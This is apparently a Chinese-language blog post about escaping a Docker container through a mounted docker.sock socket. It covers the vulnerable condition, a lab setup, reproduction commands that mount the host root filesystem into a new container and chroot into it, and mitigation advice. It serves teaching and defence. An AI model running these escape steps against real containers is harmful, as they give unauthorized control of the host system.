挂载逃逸(Socket)
影响版本
危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险
- 挂载了 Docker Socket: 启动容器时使用了
-v /var/run/docker.sock:/var/run/docker.sock
这样的参数 - 容器内权限足够: 攻击者在容器内获得的用户权限(通常是 root)足以执行 Docker 命令或与 socket 文件交互。
漏洞原理
当容器被授予了与 Docker 守护进程(Docker Daemon)直接通信的权限时,攻击者可以利用此权限控制宿主机。通常是由于将宿主机的 /var/run/docker.sock 文件挂载到容器内部实现的。
环境搭建
1 | sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -it --name vulnerable_container ubuntu /bin/bash |
漏洞复现
容器内安装Docker客户端
1 | apt update && apt install -y docker.io |
可以利用Socket控制宿主机Docker:通过sock
文件与宿主机Docker通信,例如列出宿主机的容器:
1 | docker -H unix:///var/run/docker.sock ps -a |
逃逸:创建一个新容器,将宿主机根目录挂载到新容器内
1 | docker -H unix:///var/run/docker.sock run -it -v /:/escape ubuntu /bin/bash |
然后在新容器内执行chroot /escape bash
即可访问宿主机文件系统。
1 | #在桌面创建了一个文件1.txt |
修复建议
Docker Socket 逃逸是一种高风险配置错误,它并非特定版本的漏洞。其核心在于容器内进程获得了与高权限的 Docker 守护进程通信的能力。防范的关键在于避免不必要的敏感挂载、遵循最小权限原则并实施严格的身份验证和授权。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Kaelthlog!